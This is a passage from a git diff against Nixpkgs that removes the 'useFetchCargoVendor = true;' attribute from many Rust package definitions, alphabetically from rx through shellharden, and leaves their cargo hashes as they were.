   cargoHash = "sha256-NuOOg9aIa0JW+urxDVaPn66bS4H7+0tbKYNVDUV8D80=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/rx/rx/package.nix b/pkgs/by-name/rx/rx/package.nix
index 5a6ee0cbf2c9..23be134066d7 100644
--- a/pkgs/by-name/rx/rx/package.nix
+++ b/pkgs/by-name/rx/rx/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-LTpaV/fgYUgA2M6Wz5qLHnTNywh13900g+umhgLvciM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-gRhjqQNL1Cu6/RpF2AeIGwbuDkFvyOf3gnpYt5Hlhfc=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ry/rye/package.nix b/pkgs/by-name/ry/rye/package.nix
index c946d326d7f8..2bde52b68d42 100644
--- a/pkgs/by-name/ry/rye/package.nix
+++ b/pkgs/by-name/ry/rye/package.nix
@@ -29,7 +29,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-K9xad5Odza0Oxz49yMJjqpfh3cCgmWnbAlv069fHV6Q=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-+gFa8hruXIweFm24XvfhqXZxNLAYKVNX+xBSCdAk54A=";
 
   env = {
diff --git a/pkgs/by-name/s3/s3rs/package.nix b/pkgs/by-name/s3/s3rs/package.nix
index fa40ad221611..1bcd3e4b6ec0 100644
--- a/pkgs/by-name/s3/s3rs/package.nix
+++ b/pkgs/by-name/s3/s3rs/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-mJ1bMfv/HY74TknpRvu8RIs1d2VlNreEVtHCtQSHQw8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-z7de/TZXyNsb+dxWcNFdJsaGsM3Ld2A0jorNMAVOZOg=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/sa/sad/package.nix b/pkgs/by-name/sa/sad/package.nix
index fb8c66094383..753843833a9e 100644
--- a/pkgs/by-name/sa/sad/package.nix
+++ b/pkgs/by-name/sa/sad/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-c5TYIVUrfKrVuyolVe7+EhiM/SOFNahz8X6F8WrKEa0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-hS66/bPRUpwmW/wSpZCq4kVKFkIhttsozIr3SCyZqQI=";
 
   nativeBuildInputs = [ python3 ];
diff --git a/pkgs/by-name/sa/safe-rm/package.nix b/pkgs/by-name/sa/safe-rm/package.nix
index c810fe8c572a..c2e582fd5724 100644
--- a/pkgs/by-name/sa/safe-rm/package.nix
+++ b/pkgs/by-name/sa/safe-rm/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-7+4XwsjzLBCQmHDYNwhlN4Yg3eL43GUEbq8ROtuP2Kw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-6mPx7qgrsUtjDiFMIL4NTmG9jeC3mBlsQIf/TUB4SQM=";
 
   postPatch = ''
diff --git a/pkgs/by-name/sa/safecloset/package.nix b/pkgs/by-name/sa/safecloset/package.nix
index db379c5c85e1..7d1bd56c8e1f 100644
--- a/pkgs/by-name/sa/safecloset/package.nix
+++ b/pkgs/by-name/sa/safecloset/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-buIceYP/dZMDw3tyrzj1bY6+sIIPaVJIVj1L//jZnws=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-/AnzUaya+dgckcilxj9ZZbDNqmfj1uTWkzhVphpZIsM=";
 
   buildInputs = lib.optionals stdenv.hostPlatform.isLinux [
diff --git a/pkgs/by-name/sa/sagoin/package.nix b/pkgs/by-name/sa/sagoin/package.nix
index 8d2e0bb7b656..6ea6c5708fbd 100644
--- a/pkgs/by-name/sa/sagoin/package.nix
+++ b/pkgs/by-name/sa/sagoin/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-zXYjR9ZFNX2guUSeMN/G77oBIlW3AowFWA4gwID2jQs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-JM7m/VdaXpUlPOi+N7gue6mlQuxvRFU6++SaSq45Ntg=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/sa/salut/package.nix b/pkgs/by-name/sa/salut/package.nix
index 96ab27f11b69..7ab3645ad3c6 100644
--- a/pkgs/by-name/sa/salut/package.nix
+++ b/pkgs/by-name/sa/salut/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-W0lhhImSXtYJDeMbxyEioYu/Bh7ZclwR1/5DzNbxM8o=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-xqj9USqVG7g2zT2P3VxDVt8fFDtyUnZOdT6gYZh4cRI=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/sa/samply/package.nix b/pkgs/by-name/sa/samply/package.nix
index 1c6d2f8a4db3..f7edb8ec8ef1 100644
--- a/pkgs/by-name/sa/samply/package.nix
+++ b/pkgs/by-name/sa/samply/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-zTwAsE6zXY3esO7x6UTCO2DbzdUSKZ6qc5Rr9qcI+Z8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-mQykzO9Ldokd3PZ1fY4pK/GtLmYMVas2iHj1Pqi9WqQ=";
 
   nativeInstallCheckInputs = [ versionCheckHook ];
diff --git a/pkgs/by-name/sa/sanctity/package.nix b/pkgs/by-name/sa/sanctity/package.nix
index b6498fbf8ba9..0eabd6ca2dc4 100644
--- a/pkgs/by-name/sa/sanctity/package.nix
+++ b/pkgs/by-name/sa/sanctity/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-y6xj4A5SHcW747aFE9TfuurNnuUxjTUeKJmzxeiWqVc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-r+0Qd88slA4ke90U1urVjdoiXwGWv42AViUpRCTucxs=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/sa/sarif-fmt/package.nix b/pkgs/by-name/sa/sarif-fmt/package.nix
index cba1bff8a1ef..b06b2deccbfe 100644
--- a/pkgs/by-name/sa/sarif-fmt/package.nix
+++ b/pkgs/by-name/sa/sarif-fmt/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Xc9uc//5wTBWJ89mcaC/4c8/xtTvnu8g2Aa1viUhluo=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-h4g4+2yiqr3CTkSgv8fTHEVQwSunFfYFhIczSGA+M5U=";
 
   # `test_clippy` (the only test we enable) is broken on Darwin
diff --git a/pkgs/by-name/sa/satty/package.nix b/pkgs/by-name/sa/satty/package.nix
index 7fa70a01419d..e510d996df0d 100644
--- a/pkgs/by-name/sa/satty/package.nix
+++ b/pkgs/by-name/sa/satty/package.nix
@@ -26,7 +26,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-IqXzY4mccwVgRaq1TLr1dSyqSbIvClDyF6ahA6f5UP8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-xfRuEq7YgyYD9IvEzVAor/Iz4LUBUawDREXtqerDn6A=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/sc/scaphandre/package.nix b/pkgs/by-name/sc/scaphandre/package.nix
index 6e99301be1df..6302253bb9f5 100644
--- a/pkgs/by-name/sc/scaphandre/package.nix
+++ b/pkgs/by-name/sc/scaphandre/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-I+cECdpLoIj4yuWXfirwHlcn0Hkm9NxPqo/EqFiBObw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-OIoQ2r/T0ZglF1pe25ND8xe/BEWgP9JbWytJp4k7yyg=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/sc/sccache/package.nix b/pkgs/by-name/sc/sccache/package.nix
index 04a95c7e1bdd..f9dd695af196 100644
--- a/pkgs/by-name/sc/sccache/package.nix
+++ b/pkgs/by-name/sc/sccache/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-VEDMeRFQKNPS3V6/DhMWxHR7YWsCzAXTzp0lO+COl08=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-1kfKBN4uRbU5LjbC0cLgMqoGnOSEAdC0S7EzXlfaDPo=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/sc/schemamap/package.nix b/pkgs/by-name/sc/schemamap/package.nix
index d148bfe1123a..fb2c5272530d 100644
--- a/pkgs/by-name/sc/schemamap/package.nix
+++ b/pkgs/by-name/sc/schemamap/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage rec {
 
   sourceRoot = "${src.name}/rust";
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-8UmLAT7Etb9MARoGhvOHPhkdR/8jCEAjAK/mWRHL9hk=";
 
   buildInputs = [ openssl ];
diff --git a/pkgs/by-name/sc/scooter/package.nix b/pkgs/by-name/sc/scooter/package.nix
index 12244728a826..130cc1da25d1 100644
--- a/pkgs/by-name/sc/scooter/package.nix
+++ b/pkgs/by-name/sc/scooter/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-+l2XkG6xUOkfSPe20oXjUKdmBYB7GX0xZuqddC8w/lc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-+KvHeTa8x77cMbZNbSeMcr66lAqWSBmfkn1rY+PfqHs=";
 
   checkFlags = [
diff --git a/pkgs/by-name/sc/scope-tui/package.nix b/pkgs/by-name/sc/scope-tui/package.nix
index 4a83c20e15e9..4e45ef1c812c 100644
--- a/pkgs/by-name/sc/scope-tui/package.nix
+++ b/pkgs/by-name/sc/scope-tui/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-bVe+Yyv+DcbEC15H968OhQhcFkAm7T5J6aQlKod5ocM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-o5pplwNtIe2z88ZwtCHree32kv16U/ryv8PmPIqxtPQ=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/sc/scraper/package.nix b/pkgs/by-name/sc/scraper/package.nix
index 2f73d1f6a85d..017331ab839a 100644
--- a/pkgs/by-name/sc/scraper/package.nix
+++ b/pkgs/by-name/sc/scraper/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-s38EnVooSCL6TNjU90x2Q7lXDyOf9sWjOpxAxangyAU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-cijkLybvjwdz3k2CG0hYwSTisbJUpyI7QUG0l8xLfKQ=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/sc/screenly-cli/package.nix b/pkgs/by-name/sc/screenly-cli/package.nix
index 226000e3902c..5f7a9cfaf172 100644
--- a/pkgs/by-name/sc/screenly-cli/package.nix
+++ b/pkgs/by-name/sc/screenly-cli/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-sRi0CpdaPCH54m2XojicARLXZELB4PFcLLw0KB0j6jE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-U9NAfColVKbLsEf3HXS4Vu2eNvCjG0+koESFUWP9vMk=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/sc/scriptisto/package.nix b/pkgs/by-name/sc/scriptisto/package.nix
index f594153fd2d8..98660ead97d8 100644
--- a/pkgs/by-name/sc/scriptisto/package.nix
+++ b/pkgs/by-name/sc/scriptisto/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-iaDdOFmi4kfcJSjXOcGAFG9i1SdB+K5Qz4+NDaVQALY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-20RRmbpJLHbSsa5OBk+IkyzZ4Jnss3nZ9izh7C6gmfI=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/sc/scryer-prolog/package.nix b/pkgs/by-name/sc/scryer-prolog/package.nix
index 261e830134af..58f8801d85c8 100644
--- a/pkgs/by-name/sc/scryer-prolog/package.nix
+++ b/pkgs/by-name/sc/scryer-prolog/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-0c0MsjrHRitg+5VEHB9/iSuiqcPztF+2inDZa9fQpwU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-CuCVofzKd/VPBTZY+ubk5wP9akt9kQLyi221fg7yt3M=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/sd/sd-switch/package.nix b/pkgs/by-name/sd/sd-switch/package.nix
index 72b7d5bc1555..5faeef78dc16 100644
--- a/pkgs/by-name/sd/sd-switch/package.nix
+++ b/pkgs/by-name/sd/sd-switch/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-lP65PrMFhbNoWyObFsJK06Hgv9w83hyI/YiKcL5rXhY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-sWYKJz/wfx0XG150cTOguvhdN3UEn8QE0P0+2lSeVkc=";
 
   passthru = {
diff --git a/pkgs/by-name/sd/sd/package.nix b/pkgs/by-name/sd/sd/package.nix
index 7549115f1ad0..0ce34e4b96bf 100644
--- a/pkgs/by-name/sd/sd/package.nix
+++ b/pkgs/by-name/sd/sd/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-hC4VKEgrAVuqOX7b24XhtrxrnJW5kmlX4E6QbY9H8OA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-KbEw09tTsUl9BLQsL7lW4VQq6D9E4lBiZf3Jrthst2Y=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/se/sea-orm-cli/package.nix b/pkgs/by-name/se/sea-orm-cli/package.nix
index 35e316b77242..b983d32e968b 100644
--- a/pkgs/by-name/se/sea-orm-cli/package.nix
+++ b/pkgs/by-name/se/sea-orm-cli/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
 
   buildInputs = [ openssl ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-sxCfi8zcD48WCvcv8sJ2ocPyKOuxoINU5dDh7ons+nw=";
 
   nativeInstallCheckInputs = [ versionCheckHook ];
diff --git a/pkgs/by-name/se/see-cat/package.nix b/pkgs/by-name/se/see-cat/package.nix
index c9310bd5bb08..c29959977808 100644
--- a/pkgs/by-name/se/see-cat/package.nix
+++ b/pkgs/by-name/se/see-cat/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-VCUrPCaG2fKp9vpFLzNLcfCBu2NiwdY2+bo1pd7anZY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Yw6zRvwT+y3CFb6WwKBiMSWz8igLQ7JmyGalHdRDGL0=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/se/seehecht/package.nix b/pkgs/by-name/se/seehecht/package.nix
index 250e98101ea5..1b0b5cabec78 100644
--- a/pkgs/by-name/se/seehecht/package.nix
+++ b/pkgs/by-name/se/seehecht/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-KIxK0JYfq/1Bn4LOn+LzWPBUvGYMvOEuqS7GMpDRvW0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-xsZyLyw+IC17QSVEtUJWIkQiaG7JtcLWr8xypTwYMUo=";
 
   postInstall = ''
diff --git a/pkgs/by-name/se/selene/package.nix b/pkgs/by-name/se/selene/package.nix
index c488e4b816ff..3f7db1f711e2 100644
--- a/pkgs/by-name/se/selene/package.nix
+++ b/pkgs/by-name/se/selene/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-QE9kXGQWg0pHtSI1bTppn5IE+53KoxqFED1VvwkumEI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-7mAtTOnrNT8280TOAqtsykfdLq6XAQkDjR5JXZGwCFM=";
 
   nativeBuildInputs = lib.optionals robloxSupport [
diff --git a/pkgs/by-name/se/selenium-manager/package.nix b/pkgs/by-name/se/selenium-manager/package.nix
index 15f5b3ff4960..71ad8fe47e89 100644
--- a/pkgs/by-name/se/selenium-manager/package.nix
+++ b/pkgs/by-name/se/selenium-manager/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     ./disable-telemetry.patch
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-MgnmEJif4Z4CcmBFkC5BJR67DMGm1ttObtl4LhAFw4g=";
 
   # TODO: enable tests
diff --git a/pkgs/by-name/se/sendme/package.nix b/pkgs/by-name/se/sendme/package.nix
index 335b8c0219d1..b8e29ffdf01e 100644
--- a/pkgs/by-name/se/sendme/package.nix
+++ b/pkgs/by-name/se/sendme/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-21JNyncChl8rv3IDdvYRF/nvMpAGCBps4xsBP9b/1lA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-1VVpjeGU6/+apTHv7klo7FkAQ3AVjiziQRNI7yFbvh0=";
 
   __darwinAllowLocalNetworking = true;
diff --git a/pkgs/by-name/se/sentry-cli/package.nix b/pkgs/by-name/se/sentry-cli/package.nix
index 1250f84acb5e..90b761112c84 100644
--- a/pkgs/by-name/se/sentry-cli/package.nix
+++ b/pkgs/by-name/se/sentry-cli/package.nix
@@ -28,7 +28,6 @@ rustPlatform.buildRustPackage rec {
     pkg-config
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-RnFsV9m9ChmUW1PcxSNR5i6lwKBfqp9XXUNpezjCfeY=";
 
   postInstall = lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
diff --git a/pkgs/by-name/se/sequoia-chameleon-gnupg/package.nix b/pkgs/by-name/se/sequoia-chameleon-gnupg/package.nix
index ef90f7aa17df..8f515bd96a36 100644
--- a/pkgs/by-name/se/sequoia-chameleon-gnupg/package.nix
+++ b/pkgs/by-name/se/sequoia-chameleon-gnupg/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-K9aeWrqJGPx2RymCXWNdNUTXXtO4NNm6Rd3jz+YxEi0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-d+Ew05pYpUepqsYLTcI3j2qcplXn2hDACyzXXDx6hNg=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/se/sequoia-sq/package.nix b/pkgs/by-name/se/sequoia-sq/package.nix
index 5d8084732036..fa1fa8f41622 100644
--- a/pkgs/by-name/se/sequoia-sq/package.nix
+++ b/pkgs/by-name/se/sequoia-sq/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-lM+j1KtH3U/lbPXnKALAP75YokDufbdz8s8bjb0VXUY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-3z1Qm/eeVlH0/x3C8PSSPIlQaRKk1U6mRlEiKk0AaVQ=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/se/sequoia-sqop/package.nix b/pkgs/by-name/se/sequoia-sqop/package.nix
index 6e51f6077596..81569e191185 100644
--- a/pkgs/by-name/se/sequoia-sqop/package.nix
+++ b/pkgs/by-name/se/sequoia-sqop/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-JgLozj9LZwk6TRHj2d4kiq8j3aILBUWaE9ldzvlTBNs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Cg07SlNmG6ELZmoQfkr6ADrGJirbFm0D1Iko1WVNfl0=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/se/sequoia-sqv/package.nix b/pkgs/by-name/se/sequoia-sqv/package.nix
index 85a94c70ded2..e0cd50f0faac 100644
--- a/pkgs/by-name/se/sequoia-sqv/package.nix
+++ b/pkgs/by-name/se/sequoia-sqv/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-xkvCEHVyRf1tQ/oo6Hg4Nri2WxdmH0fZFX24CPwJpZQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ZynvC4t9NBri5gc9lt2tHd/45V6QsKHbZb7HjHUQQUI=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/se/sequoia-wot/package.nix b/pkgs/by-name/se/sequoia-wot/package.nix
index 11329e62b6d1..53e7d5c8b48b 100644
--- a/pkgs/by-name/se/sequoia-wot/package.nix
+++ b/pkgs/by-name/se/sequoia-wot/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Xbj1XLZQxyEYf/+R5e6EJMmL0C5ohfwZMZPVK5PwmUU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-hpI791Bz0MqZgjI2E/KMseqfPQU56Qr0xmHigyPv4HU=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/se/serie/package.nix b/pkgs/by-name/se/serie/package.nix
index 28939ed70d01..2cc1fba95a0f 100644
--- a/pkgs/by-name/se/serie/package.nix
+++ b/pkgs/by-name/se/serie/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-26B/bwXz60fcZrh6H1RPROiML44S1Pt1J3VrJh2gRrI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Bdk553tECJiMxJlXj147Sv2LzH+nM+/Cm5BpBr78I4o=";
 
   nativeCheckInputs = [ gitMinimal ];
diff --git a/pkgs/by-name/se/serpl/package.nix b/pkgs/by-name/se/serpl/package.nix
index 24cc7ae109c5..c3671aa2e214 100644
--- a/pkgs/by-name/se/serpl/package.nix
+++ b/pkgs/by-name/se/serpl/package.nix
@@ -24,7 +24,6 @@ rustPlatform.buildRustPackage {
 
   nativeBuildInputs = [ makeWrapper ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-YfSxjlpUyRwpSoKmHOZrULGIIWTQ14JJwbsNB807WYQ=";
 
   postFixup = ''
diff --git a/pkgs/by-name/se/servo/package.nix b/pkgs/by-name/se/servo/package.nix
index 29b378fff5d3..5e8dc80e2be4 100644
--- a/pkgs/by-name/se/servo/package.nix
+++ b/pkgs/by-name/se/servo/package.nix
@@ -81,7 +81,6 @@ rustPlatform.buildRustPackage {
     '';
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-fqIlN+6SEY0LVrUk47U12TuVoRte0oCGJhO7DHovzBM=";
 
   # set `HOME` to a temp dir for write access
diff --git a/pkgs/by-name/sf/sfz/package.nix b/pkgs/by-name/sf/sfz/package.nix
index 7b2eeb057510..d0003fe8ebba 100644
--- a/pkgs/by-name/sf/sfz/package.nix
+++ b/pkgs/by-name/sf/sfz/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-mKH1vgk+3tZEnjJRkfa0dDR383VN1VLNd3HEzC7f8YI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-/I0cSnB/HVhJr5qf5dMvawggwM7qHJbnD4InECuKdcA=";
 
   # error: Found argument '--test-threads' which wasn't expected, or isn't valid in this context
diff --git a/pkgs/by-name/sg/sgxs-tools/package.nix b/pkgs/by-name/sg/sgxs-tools/package.nix
index f527dc4cee7e..fc341eb593c4 100644
--- a/pkgs/by-name/sg/sgxs-tools/package.nix
+++ b/pkgs/by-name/sg/sgxs-tools/package.nix
@@ -18,7 +18,7 @@ rustPlatform.buildRustPackage rec {
     inherit pname version;
     hash = "sha256-24lUhi4IPv+asM51/BfufkOUYVellXoXsbWXWN/zoBw=";
   };
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-7Jzr9Y6ixK1SHCHXaNKVXk0qfbtmXpr9dz1UNk7Q3XI=";
   meta = {
     description = "Utilities for working with the SGX stream format";
diff --git a/pkgs/by-name/sh/sh4d0wup/package.nix b/pkgs/by-name/sh/sh4d0wup/package.nix
index 93ef3f73bd6e..e5472814aea4 100644
--- a/pkgs/by-name/sh/sh4d0wup/package.nix
+++ b/pkgs/by-name/sh/sh4d0wup/package.nix
@@ -29,7 +29,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-gzkh+JYwuYvdNljB6agEVd7WxqJ5lI3sseY3BlkLmXs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-FjRlKlOX78QClzhhFhkZuaOLA6XpFziSghJltlRPt20=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/sh/shadow-tls/package.nix b/pkgs/by-name/sh/shadow-tls/package.nix
index 06fad8e56f56..e69060d546c1 100644
--- a/pkgs/by-name/sh/shadow-tls/package.nix
+++ b/pkgs/by-name/sh/shadow-tls/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-T+GPIrcME6Wq5sdfIt4t426/3ew5sUQMykYeZ6zw1ko=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-1oJCdqBa1pWpQ7QvZ0vZaOd73R+SzR9OPf+yoI+RwCY=";
 
   RUSTC_BOOTSTRAP = 1;
diff --git a/pkgs/by-name/sh/shadowenv/package.nix b/pkgs/by-name/sh/shadowenv/package.nix
index b9cb01474888..ae1171a79b6d 100644
--- a/pkgs/by-name/sh/shadowenv/package.nix
+++ b/pkgs/by-name/sh/shadowenv/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-ZipFcwTpKKFnQWOPxXg07V71jitG0NSLpGLEzUSsUFA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-KNCucBmYVmIQ/XY+UNV667iWLyiEJDnP/8gAmUHGY+0=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/sh/shadowsocks-rust/package.nix b/pkgs/by-name/sh/shadowsocks-rust/package.nix
index c0eefbe76bdb..c8f0b8d1d448 100644
--- a/pkgs/by-name/sh/shadowsocks-rust/package.nix
+++ b/pkgs/by-name/sh/shadowsocks-rust/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-gUCDHk6Z3w3ajtYV8s0TXXnJCiHhOdMZRcIK4uPnQ2M=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-DsdVvYznh9i3d3UdcKOCYRoisP8BAJ6XLV2JbFhEr5M=";
 
   nativeBuildInputs = lib.optionals stdenv.hostPlatform.isLinux [ pkg-config ];
diff --git a/pkgs/by-name/sh/shavee/package.nix b/pkgs/by-name/sh/shavee/package.nix
index d914497ce3c2..6642c5c5e6fb 100644
--- a/pkgs/by-name/sh/shavee/package.nix
+++ b/pkgs/by-name/sh/shavee/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-41wJ3QBZdmCl7v/6JetXhzH2zF7tsKYMKZY1cKhByX8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-IGMEl/iK25WMkkLgbT7pCfppAf3GCvyBk1NrqMDtbUA=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/sh/sheldon/package.nix b/pkgs/by-name/sh/sheldon/package.nix
index e2e9d60c3464..f7ac95ce478c 100644
--- a/pkgs/by-name/sh/sheldon/package.nix
+++ b/pkgs/by-name/sh/sheldon/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-C4rGE+tKlpEJabyGAexIoPmUiLvl87GkL6XH5aJHCrU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-5Ho41WU/DzAdBOGDPmJYipcJMAji6J+Jg8lNQYionng=";
 
   buildInputs = [
diff --git a/pkgs/by-name/sh/shellcheck-sarif/package.nix b/pkgs/by-name/sh/shellcheck-sarif/package.nix
index 05c8017faf34..2d94ecebb8ab 100644
--- a/pkgs/by-name/sh/shellcheck-sarif/package.nix
+++ b/pkgs/by-name/sh/shellcheck-sarif/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-G69DiDl78vkPuLodsRTL7dbbIFtNNF/XWuLZpCHKJws=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ZA7l7fmQG1wjT8oLVp6w2okPlwfNGQw/7qrH3rRS+0o=";
 
   nativeInstallCheckInputs = [ versionCheckHook ];
diff --git a/pkgs/by-name/sh/shellclear/package.nix b/pkgs/by-name/sh/shellclear/package.nix
index 769810e4b2fb..bb9fdb778bc5 100644
--- a/pkgs/by-name/sh/shellclear/package.nix
+++ b/pkgs/by-name/sh/shellclear/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-/0pqegVxrqqxaQ2JiUfkkFK9hp+Vuq7eTap052HEcJs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Q6F7cqs+d1LqYaZkcpCBTOB9Z0qxuGz9zRDK2Yg10CU=";
 
   buildAndTestSubdir = "shellclear";
diff --git a/pkgs/by-name/sh/shellharden/package.nix b/pkgs/by-name/sh/shellharden/package.nix
index 8939e121efc2..9f30217250ef 100644
